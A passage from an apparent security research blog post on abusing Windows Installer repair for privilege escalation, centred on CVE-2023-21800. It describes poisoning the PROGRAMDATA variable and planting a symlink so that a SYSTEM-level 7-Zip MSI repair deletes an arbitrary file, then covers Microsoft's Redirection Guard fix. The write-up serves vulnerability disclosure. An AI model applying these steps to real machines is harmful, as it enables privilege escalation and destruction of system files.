      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fp&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs the package if a file is missing.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fo&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs the package if a file is missing, or if an older version is installed.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fe&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs the package if file is missing, or if an equal or older version is installed.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fd&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs the package if file is missing, or if a different version is installed.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fc&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs the package if file is missing, or if checksum does not match the calculated value.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fa&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Forces all files to be reinstalled.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fu&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs all the required user-specific registry entries.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fm&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs all the required computer-specific registry entries.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fs&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Repairs all existing shortcuts.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/fv&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Runs from source and re-caches the local package.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Most of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec&lt;/code&gt; actions will require elevation. We cannot install or uninstall arbitrary packages (unless of course the system is badly misconfigured). However, the repair option might be an interesting exception! It might be, because not every package will work like this, but it’s not hard to find one that will. For these, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec&lt;/code&gt; will auto-elevate to perform necessary actions as a SYSTEM user. Interestingly enough, some actions will be still performed using our unprivileged account making the case even more noteworthy.&lt;/p&gt;

&lt;p&gt;The &lt;em&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/impersonation-tokens&quot;&gt;impersonation&lt;/a&gt;&lt;/em&gt; of our account will happen for various security reasons. Only some actions can be impersonated, though. If you’re seeing a file renamed by the SYSTEM user, it’s always going to be a fully privileged action. On the other hand, when analyzing who exactly writes to a given file, we need to look at how the file handle was opened in the first place.&lt;/p&gt;

&lt;p&gt;We can use tools such as &lt;a href=&quot;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;Process Monitor&lt;/a&gt; to observe all these events. To filter out the noise, I would recommend using the settings shown below. It’s possible to miss something interesting, e.g., a child processes’ actions, but it’s unrealistic to dig into every single event at once. Also, I’m intentionally disabling registry activity tracking, but occasionally it’s worth reenabling this to see if certain actions aren’t controlled by editable registry keys.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/msi_procmon_settings.png&quot; alt=&quot;Procmon filter settings&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Another trick I’d recommend is to highlight the distinction between impersonated and non-impersonated operations. I prefer to highlight anything that isn’t explicitly impersonated, but you may prefer to reverse the logic.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/msi_procmon_highlight.png&quot; alt=&quot;Procmon highlighting settings&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Then, to start analyzing the events of the aforementioned Google Chrome installer, one could run the following command:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;msiexec.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/fa&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'{B460110D-ACBF-34F1-883C-CC985072AF9E}'&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The stream of events should be captured by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProcMon&lt;/code&gt; but to look for issues, we need to understand what can be considered an issue. In short, any action on a securable object that we can somehow modify is interesting. SYSTEM writes a file we control? That’s our target.&lt;/p&gt;

&lt;p&gt;Typically, we cannot directly control the affected path. However, we can replace the original file with a symlink. Regular symlinks are likely not available for unprivileged users, but we may use &lt;a href=&quot;https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&quot;&gt;some tricks and tools&lt;/a&gt; to reinvent the functionality on Windows.&lt;/p&gt;

&lt;h3 id=&quot;windows-eop-primitives&quot;&gt;Windows EoP primitives&lt;/h3&gt;

&lt;p&gt;Although we’re not trying to &lt;em&gt;pop a shell&lt;/em&gt; out of every located vulnerability, it’s interesting to educate the readers on what would be possible given some of the &lt;em&gt;Elevation of Privilege primitives&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;With &lt;u&gt;an arbitrary file creation&lt;/u&gt; vulnerability we could attack the system by creating a DLL that one of the system processes would load. It’s slightly harder, but not impossible, to locate a Windows process that loads our planted DLL without rebooting the entire system.&lt;/p&gt;

&lt;p&gt;Having &lt;u&gt;an arbitrary file creation&lt;/u&gt; vulnerability but &lt;u&gt;with no control over the content&lt;/u&gt;, our chances to pop a shell are drastically reduced. We can still make Windows inoperable, though.&lt;/p&gt;

&lt;p&gt;With &lt;u&gt;an arbitrary file delete&lt;/u&gt; vulnerability we can at least break the operating system. Often though, we can also turn this into &lt;u&gt;an arbitrary folder delete&lt;/u&gt; and use the sophisticated method discovered by &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks&quot;&gt;Abdelhamid Naceri&lt;/a&gt; to actually &lt;em&gt;pop a shell&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The list of possible primitives is long and fascinating. A single EoP primitive should be treated as a serious security issue, nevertheless.&lt;/p&gt;

&lt;h3 id=&quot;one-vulnerability-to-rule-them-all--cve-2023-21800&quot;&gt;One vulnerability to rule them all&lt;a name=&quot;msi-vuln&quot;&gt; &lt;/a&gt; (CVE-2023-21800)&lt;/h3&gt;

&lt;p&gt;I’ve observed the same interesting behavior in numerous tested MSI packages. The packages were created by different MSI creators using different types of resources and basically had nothing in common. Yet, they were all following the same pattern. Namely, the environment variables set by the unprivileged user were also used in the context of the SYSTEM user invoked by the repair operation.&lt;/p&gt;

&lt;p&gt;Although I initially thought that the applications were incorrectly trusting some environment variables, it turned out that the Windows Installer’s rollback mechanism was responsible for the insecure actions.&lt;/p&gt;

&lt;h4 id=&quot;7-zip&quot;&gt;7-zip&lt;/h4&gt;

&lt;p&gt;7-Zip provides dedicated Windows Installers which are published on the &lt;a href=&quot;https://www.7-zip.org/download.html&quot;&gt;project page&lt;/a&gt;. The following file was tested:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Filename&lt;/th&gt;
      &lt;th&gt;Version&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;7z2201-x64.msi&lt;/td&gt;
      &lt;td&gt;22.01&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;To better understand the problem, we can study the source code of the application. The installer, defined in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DOC/7zip.wxs&lt;/code&gt; file, refers to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProgramMenuFolder&lt;/code&gt; identifier.&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;     &lt;span class=&quot;nt&quot;&gt;&amp;lt;Directory&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ProgramMenuFolder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PMenu&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;LongName=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Programs&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Directory&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PMenu&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7zip&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;LongName=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7-Zip&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
      ...
     &lt;span class=&quot;nt&quot;&gt;&amp;lt;Component&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Help&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Guid=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;$(var.CompHelp)&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;File&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_7zip.chm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7-zip.chm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;DiskId=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Shortcut&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;startmenuHelpShortcut&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Directory=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PMenu&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7zipHelp&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;LongName=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;7-Zip Help&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/File&amp;gt;&lt;/span&gt;
     &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Component&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProgramMenuFolder&lt;/code&gt; is later used to store some components, such as a shortcut to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7-zip.chm&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;As stated on the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/msi/programmenufolder&quot;&gt;MSDN page&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The installer sets the ProgramMenuFolder property to the full path of the Program Menu folder for the current user. If an “All Users” profile exists and the ALLUSERS property is set, then this property is set to the folder in the “All Users” profile.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In other words, the property will either point to the directory controlled by the current user (in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%&lt;/code&gt; as in the previous example), or to the directory associated with the “All Users” profile.&lt;/p&gt;

&lt;p&gt;While the first configuration does not require additional explanation, the second configuration is tricky. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs&lt;/code&gt; path is typically used while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\ProgramData&lt;/code&gt; is writable even by unprivileged users. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\ProgramData\Microsoft&lt;/code&gt; path is properly locked down. This leaves us with a secure default.&lt;/p&gt;

&lt;p&gt;However, the user invoking the repair process may intentionally modify (i.e., poison) the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PROGRAMDATA&lt;/code&gt; environment variable and thus redirect the “All Users” profile to the arbitrary location which is writable by the user. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setx&lt;/code&gt; command can be used for that. It modifies variables associated with the current user but it’s important to emphasize that only the &lt;em&gt;future&lt;/em&gt; sessions are affected. A completely new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; instance should be started to inherit the new settings.&lt;/p&gt;

&lt;p&gt;Instead of placing legitimate files, a symlink to an arbitrary file can be placed in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\7-zip\&lt;/code&gt; directory as one of the expected files. As a result, the repair operation will:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remove the arbitrary file (using the SYSTEM privileges)&lt;/li&gt;
  &lt;li&gt;Attempt to restore the original file (using an unprivileged user account)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second action will fail, resulting in an Arbitrary File Delete primitive. This can be observed on the following capture, assuming we’re targeting the previously created &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\System32\__doyensec.txt&lt;/code&gt; file. We intentionally created a symlink to the targeted file under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\FakeProgramData\Microsoft\Windows\Start Menu\Programs\7-zip\7-Zip Help.lnk&lt;/code&gt; path.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/msi_7z_rename.png&quot; alt=&quot;The operation result in REPARSE&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Firstly, we can see the actions resulting in the &lt;em&gt;REPARSE&lt;/em&gt; status. The file is briefly processed (or rather its attributes are), and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetRenameInformationFile&lt;/code&gt; is called on it. The &lt;em&gt;rename&lt;/em&gt; part is slightly misleading. What is actually happening is that file is &lt;em&gt;moved&lt;/em&gt; to a different location. This is how the Windows installer creates rollback instructions in case something goes wrong. As stated before, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetRenameInformationFile&lt;/code&gt; doesn’t work on the file handle level and cannot be impersonated. This action runs with the full SYSTEM privileges.&lt;/p&gt;

&lt;p&gt;Later on, we can spot attempts to restore the original file, but using an impersonated token. These actions result in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACCESS DENIED&lt;/code&gt; errors, therefore the targeted file remains deleted.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/msi_7z_accessdenied.png&quot; alt=&quot;The operation result in REPARSE&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;The same sequence was observed in numerous other installers. For instance, I worked with PuTTY’s maintainer on a possible workaround which was introduced in the &lt;a href=&quot;https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.78-installer.msi&quot;&gt;0.78 version&lt;/a&gt;. In that version, the elevated repair is allowed only if administrator credentials are provided. However, this isn’t functionally equal and has introduced some other issues. The 0.79 release should restore the old WiX configuration.&lt;/p&gt;

&lt;h4 id=&quot;redirection-guard&quot;&gt;Redirection Guard&lt;/h4&gt;

&lt;p&gt;The issue was reported directly to Microsoft with all the above information and a dedicated exploit. Microsoft assigned &lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-21800&quot;&gt;CVE-2023-21800&lt;/a&gt; identifier to it.&lt;/p&gt;

&lt;p&gt;It was reproducible on the latest versions of Windows 10 and Windows 11. However, it was not bounty-eligible as the attack was already mitigated on the Windows 11 Developer Preview. The same mitigation has been enabled with the 2022-02-14 update.&lt;/p&gt;

&lt;p&gt;In October 2022 Microsoft &lt;a href=&quot;https://techcommunity.microsoft.com/t5/microsoft-security-baselines/windows-10-version-22h2-security-baseline/ba-p/3655724&quot;&gt;shipped&lt;/a&gt; a new feature called Redirection Guard on Windows 10 and Windows 11. The update introduced a new type of mitigation called &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-process_mitigation_policy&quot;&gt;ProcessRedirectionTrustPolicy&lt;/a&gt; and the corresponding &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-process-mitigation-redirection-trust-policy&quot;&gt;PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY structure&lt;/a&gt;. If the mitigation is enabled for a given process, all processed junctions are additionally verified. The verification first checks if the filesystem junction was created by non-admin users and, if so, if the policy prevents following them. If the operation is prevented, the error &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xC00004BC&lt;/code&gt; is returned. The junctions created by admin users are explicitly allowed as having a higher trust-level label.&lt;/p&gt;

&lt;p&gt;In the initial round, Redirection Guard was enabled for the print service. The 2022-02-14 update enabled the same mitigation on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec&lt;/code&gt; process.&lt;/p&gt;

&lt;p&gt;This can be observed in the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProcMon&lt;/code&gt; capture:&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/msi_7z_mitigation.png&quot; alt=&quot;The 0xC00004BC error returned by the new mitigation&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msiexec&lt;/code&gt; is one of a few applications that have this mitigation enforced by default. To check for yourself, use the following not-so-great code:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;TlHelp32.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;cstdio&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;vector&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;memory&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AutoHandle&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unique_ptr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remove_pointer_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HANDLE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;decltype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CloseHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pair&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AutoHandle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Proc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getRunningProcesses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Proc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;processes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unique_ptr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remove_pointer_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HANDLE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;decltype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CloseHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;snapshot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CreateToolhelp32Snapshot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TH32CS_SNAPPROCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CloseHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;PROCESSENTRY32&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pe32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pe32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwSize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pe32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Process32First&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;snapshot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pe32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpenProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PROCESS_QUERY_INFORMATION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pe32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;th32ProcessID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
